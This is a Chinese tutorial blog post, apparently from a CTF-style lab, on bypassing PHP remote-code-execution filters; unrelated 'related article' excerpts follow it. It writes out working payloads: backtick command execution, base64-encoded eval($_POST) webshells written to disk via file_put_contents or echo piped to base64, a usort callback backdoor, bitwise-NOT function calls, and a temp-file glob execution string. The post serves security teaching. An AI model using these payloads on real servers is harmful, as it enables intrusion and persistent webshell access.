当前位置: 首页 > news >正文

RCE绕过技巧

目录

EVAL长度限制突破技巧

1.使用反引号

2.file_put_contents写入文件

3.php5.6+变长参数+usort回调后门

命令长度限制突破技巧

1.拼接文件名

无字母数字的webshell命令执行

1.取反码

2.上传临时文件


EVAL长度限制突破技巧

分析代码:首先传递一个param参数,通过 if 判断传递的参数长度不能超过17位,并且不能包含eval和assert,然后eval执行。

由于Linux下的反引号可以执行命令,所以使用echo `$_GET[1]`;

把代码执行转换成命令执行

1.使用反引号

param=echo `$_GET[1]`;&1=id

效果:

有人就要问,不是说是限制到了17位一下吗。

因为后面的1=id不是前面param的值,所以写多长都没关系,$_GET[1]是获取通过传递的名为 1 的参数值。

2.file_put_contents写入文件

将一句话木马进行base64编码后追加写入文件

web.php?1=file_put_contents&param=$_GET[1](N,P,8);  

web.php?1=file_put_contents&param=$_GET[1](N,D,8);

...

web.php?1=file_put_contents&param=$_GET[1](N,w,8);

/* 'PD9waHAgZXZhbCgkX1BPU1RbOV0pOw' ✲写入文件'N'中    */

web.php?param=include$_GET[1];&1=php://filter/read=convert.base64-decode/resource=N

用$_GET[1]中1接收file_put_contents,然后再file_put_contents中传三个参数

N:写入文件名

P:一句话木马的base64的编码

8:代表追加

未执行命令前的

执行后

因为像<等特殊符号,不能直接写入<,所以必须base64编码

3.php5.6+变长参数+usort回调后门

usort(...$_GET);

js中的可变长参数用...表示

?1[]=test&1[]=phpinfo();&2=assert

使用burpsuite抓包

修改GET为POST,加上usort(...$_GET);

使用的php版本最好为5.6,否则

右键->Send to Repeater

命令长度限制突破技巧

这段代码和上边一样,只是把参数长度变成不能超过8位,那么就不能使用`$_GET[1]`;了

只能执行简单的命令了

1.拼接文件名

因为Linux下可以使用>a来创建文件

用ls -t来以创建时间来列出当前目录下所有文件

将这条经过base64编码的一句话木马echo PD9waHAgZXZhbCgkX0dFVFsxXSk7| base64 -d> c.php就可以用上述方法写入webshell

无字母数字的webshell命令执行

这段代码将webshell长度不超过35位,除此之外还不允许包含字母数字,还不能包含$和_

这样就不能用上面的方法了。那怎么办

1.取反码

PHP7前是不允许用($a)();这样的方法来执行动态函数的,但PHP7中增加了对此的支持。所以,我们可以通过('phpinfo')();来执行函数,第一个括号中可以是任意PHP表达式.

所以很简单了,因为不能出现字母所以就先构造一个可以生成phpinfo这个字符串的PHP表达式取反即可。如:(~%8F%97%8F%96%91%99%90)();

%8F%97%8F%96%91%99%90   --这个是phpinfo的base64编码

~   --取反

code=(~%8F%97%8F%96%91%99%90)();

这样就可以执行

2.上传临时文件

因为在php5版本中并不支持这种表达方式,所以我们就可以用php上传文件机制

先将本地的文件上传到服务器的临时目录 /tmp

然后在没有被删除的情况下执行起来

难点:1.匹配不到这个临时文件,因为这个文件名是随机生成的,全是英文和数字,但是代码又限制了这个。

2.没有执行权限

解决方法:1.经过多次尝试发现,上传的临时文件最后一个字母会出现大写字母。因为Linux是支持ascii,所以查看ascii发现大写字母的范围在 @-[ 之间,glob通配符 ? 匹配任意一个字符,* 匹配任意多个字符。

成功匹配到文件

2.在Linux下可以用 . [file]来执行文件

这样两个问题就都解决了

接下来就是用burpsuite抓包

先抓demo.html和web.php包

两个包repeater

如下所示,将demo.html包中的内容复制到web.php中

将GET改为POST是要接受下面的请求体

传递get参数,通过查找eval的官方文档,首先要闭合,然后再写php代码

?code=?><?=`.+/???/????????[@-[]`; ?>

成功

相关文章:

RCE绕过技巧

目录 EVAL长度限制突破技巧 1.使用反引号 2.file_put_contents写入文件 3.php5.6变长参数usort回调后门 命令长度限制突破技巧 1.拼接文件名 无字母数字的webshell命令执行 1.取反码 2.上传临时文件 EVAL长度限制突破技巧 分析代码&#xff1a;首先传递一个param参数&…...

Spring源码解析(31)之事务配置文件解析以及核心对象创建过程

一、前言 首先我们先准备一下spring 事务的配置文件&#xff0c;具体内容如下&#xff1a; <?xml version"1.0" encoding"UTF-8"?> <beans xmlns"http://www.springframework.org/schema/beans"xmlns:xsi"http://www.w3.org/20…...

win11安装docker报错记录

报错一&#xff1a; Docker Desktop - Unexpected WSL error An unexpected error occurred while executing a WSL command. Either shut down WSL down with wsl --shutdown, and/or reboot your machine. You can also try reinstalling WSL and/or Docker Desktop. If t…...

【vulnhub】CLAMP 1.0.1靶机

信息收集 靶机发现 端口扫描 页面访问&#xff0c;并查看源码 访问 /nt4stopc/,下面有一些问题&#xff0c;提示必须收集答案 一些判断题&#xff0c;对与错对应1与0&#xff0c;最后结果为0110111001&#xff0c;拼接访问 点击图中位置&#xff0c;发现存在参数&#xff0c;p…...

GPS跟踪环路MATLAB之——数字锁相环

提示&#xff1a;文章写完后&#xff0c;目录可以自动生成&#xff0c;如何生成可参考右边的帮助文档 GPS跟踪环路MATLAB之——数字锁相环 前言为什么要锁相环科斯塔斯环锁相环的一些基本概念1、捕获、锁定与跟踪的概念2、捕获时间和稳态相差3、相位捕获和频率捕获4、捕获带和同…...

docker开发环境搭建-关于数据库的IP是什么

故事的背景是这样的&#xff1a; 我在本地的ubuntu系统上安装了docker&#xff0c;并创建了一个mysql容器&#xff0c;但是在使用DBeaver连接该数据库时&#xff0c;需要填写数据库的ip&#xff0c;填写127.0.0.1&#xff0c;工具提示找不到这个库&#xff0c;然后使用ip addr…...

loginApi

import request from "/utils/request"; import { AxiosPromise } from "axios"; import { CaptchaResult, LoginData, LoginResult } from "./types";/*** 登录API** param data {LoginData}* returns*/ export function loginApi(data: LoginD…...

【RAG检索增强生成】Ollama+AnythingLLM本地搭建RAG大模型私有知识库

目录 前言一、Ollama&#xff1a;革新性的本地LLM服务工具1.核心优势2.技术亮点 二、AnythingLLM 概览1.核心特性2.技术生态支持 三、搭建本地智能知识库1. Ollama的安装启航2. AnythingLLM的安装对接3. AnythingLLM的配置精调4. 工作区与文档管理5. 聊天与检索的智能交互 四、…...

【wiki知识库】08.添加用户登录功能--前端Vue部分修改

&#x1f34a; 编程有易不绕弯&#xff0c;成长之路不孤单&#xff01; 目录 &#x1f34a; 编程有易不绕弯&#xff0c;成长之路不孤单&#xff01; 一、今日目标 二、前端Vue模块的修改 2.1 the-header组件 2.2 store工具 2.3 router路由配置修改 一、今日目标 上篇文章…...

写给非机器学习人员的 embedding 入门

你好&#xff0c;我是 shengjk1&#xff0c;多年大厂经验&#xff0c;努力构建 通俗易懂的、好玩的编程语言教程。 欢迎关注&#xff01;你会有如下收益&#xff1a; 了解大厂经验拥有和大厂相匹配的技术等 希望看什么&#xff0c;评论或者私信告诉我&#xff01; 文章目录 一…...

Oracle【plsql编写九九乘法表】

九九乘法表 DECLAREi NUMBER : 1;j NUMBER : 1; BEGINFOR i IN 1 .. 9LOOPFOR j IN 1 .. iLOOPDBMS_OUTPUT.put (i || * || j || || i * j || );END LOOP;DBMS_OUTPUT.put_line ( );END LOOP; END;输出结果...

ansible安装K8s

部署Kubernetes (k8s) 集群使用Ansible是一个常见的自动化解决方案。下面我将提供一个基本的步骤概述和所需的命令&#xff0c;用于在CentOS 7.8上使用Ansible部署k8s集群&#xff0c;包括Master节点和Worker节点&#xff08;Web和DB节点&#xff09;。 步骤 1: 准备环境 确保所…...

restful传值

GetMapping 普通的get请求 后端&#xff1a; restfule的get请求 通过/asd/123这种方式get请求传入后端 前端 url: /system/role/deptTree/ roleId / tenantId, method: get后端PathVariable从path上取对应的值 通过 GetMapping(value "/deptTree/{roleId}/{tenan…...

Qt自定义TreeWidget,实现展开折叠按钮在右侧,且一条竖直线上对齐

效果如下&#xff1a; 图片随便找的&#xff0c;可能需要调下样式&#xff0c;代码复制可用&#xff0c;留给有需要的人。 #ifndef CustomTreeWidget_h__ #define CustomTreeWidget_h__#include <QTreeWidget> #include <QPushButton>class CCustomTreeWidget : p…...

硅步千里:如何入行?——之入行成为软件开发者

无论何时&#xff0c;你是否有遇到这样的场景&#xff08;在自己从未涉足过的行业或领域&#xff0c;现在需要自己去这个行业或领域学习探索&#xff0c;最初的目标是熟悉行业&#xff0c;快速融入进去&#xff0c;很多时候&#xff0c;我们只是了解了个大概&#xff0c;并没能…...

Sandbox: rsync.samba(80134) deny(1) file-write-create

Xcode15运行报错:Sandbox: rsync.samba(80134) deny(1) file-write-create/xxx/xxx 如下图: 解决办法: Build Settings 搜索 sandbox&#xff0c;把 Build Options 中的 User Script Sandboxing改为 NO...

lvs的dr模式综合实践

目录 ​编辑虚拟机准备工作 ​编辑​编辑​编辑 配置过程 配置client主机 配置router主机 配置lvs主机&#xff08;vip使用环回来创建&#xff09; 配置server1主机&#xff08;vip使用环回来创建&#xff09; 配置server2主机&#xff08;vip使用环回来创建&#xff0…...

什么是自然语言处理

自然语言处理&#xff08;Natural Language Processing, NLP&#xff09;是人工智能&#xff08;AI&#xff09;的一个子领域&#xff0c;涉及计算机与人类语言的交互。它的目标是让计算机能够理解、分析、生成和操作自然语言&#xff0c;从而实现与人类的有效沟通。 自然语言处…...

快速理解互联网中的常用名词

并发与并行 并发&#xff1a;任务交替执行&#xff0c;伪并行&#xff0c;涉及CPU时间片和上下文切换。并行&#xff1a;任务真正同时执行&#xff0c;需要多核处理器&#xff0c;无上下文切换。 并发量&#xff08;Concurrency&#xff09; 概念&#xff1a;服务端程序单位…...

统计接口调用耗时_黑白名单配置

黑名单配置 黑名单就是那些被禁止访问的URL创建自定义过滤器 BlackListUrlFilter&#xff0c;并配置黑名单地址列表blacklistUrl如果有其他需求&#xff0c;还可以实现自定义规则的过滤器来满足特定的过滤要求 /*** 黑名单过滤器** author canghe*/ Component public class B…...

《Qt C++ 与 OpenCV:解锁视频播放程序设计的奥秘》

引言:探索视频播放程序设计之旅 在当今数字化时代,多媒体应用已渗透到我们生活的方方面面,从日常的视频娱乐到专业的视频监控、视频会议系统,视频播放程序作为多媒体应用的核心组成部分,扮演着至关重要的角色。无论是在个人电脑、移动设备还是智能电视等平台上,用户都期望…...

Keil 中设置 STM32 Flash 和 RAM 地址详解

文章目录 Keil 中设置 STM32 Flash 和 RAM 地址详解一、Flash 和 RAM 配置界面(Target 选项卡)1. IROM1(用于配置 Flash)2. IRAM1(用于配置 RAM)二、链接器设置界面(Linker 选项卡)1. 勾选“Use Memory Layout from Target Dialog”2. 查看链接器参数(如果没有勾选上面…...

聊一聊接口测试的意义有哪些?

目录 一、隔离性 & 早期测试 二、保障系统集成质量 三、验证业务逻辑的核心层 四、提升测试效率与覆盖度 五、系统稳定性的守护者 六、驱动团队协作与契约管理 七、性能与扩展性的前置评估 八、持续交付的核心支撑 接口测试的意义可以从四个维度展开&#xff0c;首…...

华硕a豆14 Air香氛版,美学与科技的馨香融合

在快节奏的现代生活中&#xff0c;我们渴望一个能激发创想、愉悦感官的工作与生活伙伴&#xff0c;它不仅是冰冷的科技工具&#xff0c;更能触动我们内心深处的细腻情感。正是在这样的期许下&#xff0c;华硕a豆14 Air香氛版翩然而至&#xff0c;它以一种前所未有的方式&#x…...

JAVA后端开发——多租户

数据隔离是多租户系统中的核心概念&#xff0c;确保一个租户&#xff08;在这个系统中可能是一个公司或一个独立的客户&#xff09;的数据对其他租户是不可见的。在 RuoYi 框架&#xff08;您当前项目所使用的基础框架&#xff09;中&#xff0c;这通常是通过在数据表中增加一个…...

蓝桥杯 冶炼金属

原题目链接 &#x1f527; 冶炼金属转换率推测题解 &#x1f4dc; 原题描述 小蓝有一个神奇的炉子用于将普通金属 O O O 冶炼成为一种特殊金属 X X X。这个炉子有一个属性叫转换率 V V V&#xff0c;是一个正整数&#xff0c;表示每 V V V 个普通金属 O O O 可以冶炼出 …...

在QWebEngineView上实现鼠标、触摸等事件捕获的解决方案

这个问题我看其他博主也写了&#xff0c;要么要会员、要么写的乱七八糟。这里我整理一下&#xff0c;把问题说清楚并且给出代码&#xff0c;拿去用就行&#xff0c;照着葫芦画瓢。 问题 在继承QWebEngineView后&#xff0c;重写mousePressEvent或event函数无法捕获鼠标按下事…...

C++ 设计模式 《小明的奶茶加料风波》

&#x1f468;‍&#x1f393; 模式名称&#xff1a;装饰器模式&#xff08;Decorator Pattern&#xff09; &#x1f466; 小明最近上线了校园奶茶配送功能&#xff0c;业务火爆&#xff0c;大家都在加料&#xff1a; 有的同学要加波霸 &#x1f7e4;&#xff0c;有的要加椰果…...

【Linux】自动化构建-Make/Makefile

前言 上文我们讲到了Linux中的编译器gcc/g 【Linux】编译器gcc/g及其库的详细介绍-CSDN博客 本来我们将一个对于编译来说很重要的工具&#xff1a;make/makfile 1.背景 在一个工程中源文件不计其数&#xff0c;其按类型、功能、模块分别放在若干个目录中&#xff0c;mak…...

elementUI点击浏览table所选行数据查看文档

项目场景&#xff1a; table按照要求特定的数据变成按钮可以点击 解决方案&#xff1a; <el-table-columnprop"mlname"label"名称"align"center"width"180"><template slot-scope"scope"><el-buttonv-if&qu…...